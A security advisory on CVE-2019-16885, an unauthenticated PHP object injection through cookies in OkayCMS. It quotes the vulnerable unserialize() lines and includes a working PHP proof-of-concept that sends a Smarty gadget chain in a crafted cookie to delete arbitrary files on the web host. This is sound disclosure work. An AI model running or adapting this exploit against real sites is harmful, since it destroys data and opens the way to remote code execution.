Identifier: AIT-SA-20191129-01
Target: OkayCMS
Vendor: OkayCMS
Version: all versions including 2.3.4
CVE: CVE-2019-16885
Accessibility: Local
Severity: Critical
Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)
Summary
OkayCMS is a simple and functional content managment system for an online store.
Vulnerability Description
An unauthenticated attacker can upload a webshell by injecting a malicious php-object via a crafted cookie. This could happen at two places. First in “view/ProductsView.php” using the cookie "price_filter" or in “api/Comparison.php” via the cookie "comparison". Both cookies will pass untrusted values to a unserialize()-function. The following code shows the vulnerability in “api/Comparison.php”:
$items = !empty($_COOKIE['comparison']) ? unserialize($_COOKIE['comparison']) : array();
The unsafe deserialization also occurs in “view/ProductsView.php”:
$price_filter = unserialize($_COOKIE['price_filter']);
Proof of Concept
The following code utilizes an object of the smarty-component to delete arbitrary files from the webhost:
<?php if($argc != 3) { print "usage: $argv[0] <url> <file>\n"; exit(1); } $url = $argv[1]; $file = $argv[2]; class Smarty_Internal_CacheResource_File { public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) { $cached->is_locked = false; @unlink($cached->lock_id); } } class Smarty_Template_Cached { public $handler = null; public $is_locked = true; public $lock_id = ""; public function __construct() { $this->lock_id = $GLOBALS['file']; $this->handler = new Smarty_Internal_CacheResource_File; } } class Smarty { public $cache_locking = true; } class Smarty_Internal_Template { public $smarty = null; public $cached = null; public function __construct() { $this->smarty = new Smarty; $this->cached = new Smarty_Template_Cached; } public function __destruct(){ if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) { $this->cached->handler->releaseLock($this->smarty, $this->cached); } } } $obj = new Smarty_Internal_Template(); $serialized = serialize($obj); $un = unserialize($serialized); $headers = [ 'Accept-Language: en-US,en;q=0.5', "Referer: $url/en/catalog/myagkie-igrushki", 'Cookie: ' . 'price_filter=' . urlencode($serialized) . ';' ]; $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_HTTPHEADER => $headers, CURLOPT_RETURNTRANSFER => true, CURLOPT_URL => "$url/en/catalog/myagkie-igrushki/sort-price", CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' ]); $resp = curl_exec($curl); if(curl_error($curl)) { print curl_error($curl); } curl_close($curl); print $resp; ?>
Notes
Because of the high severity of this vulnerability we will not release a full exploit for the remote code execution.
Vulnerable Versions
All versions of the “Lite”-branch including 2.3.4. Pro Versions prior 3.0.2 might have been affected too.
Tested Versions
OkayCMS-Lite 2.3.4
Impact
An unauthenticated attacker could upload a webshell to the server and execute commands remotely.
Mitigation
At the moment of this publication the vendor has only patched the paid version of the CMS, so a change to other free software or an upgrade to the Pro version of OkayCMS is recommended.
Vendor Contact Timeline
2019-08-29Contacting the vendor
2019-09-04Vendor replied
2019-09-17Vendor released commercial version 3.0.2 including a bugfix
2019-09-29Public disclosure
Advisory URL
https://www.ait.ac.at/ait-sa-20191129-01-unauthenticated-remote-code-execution-okaycms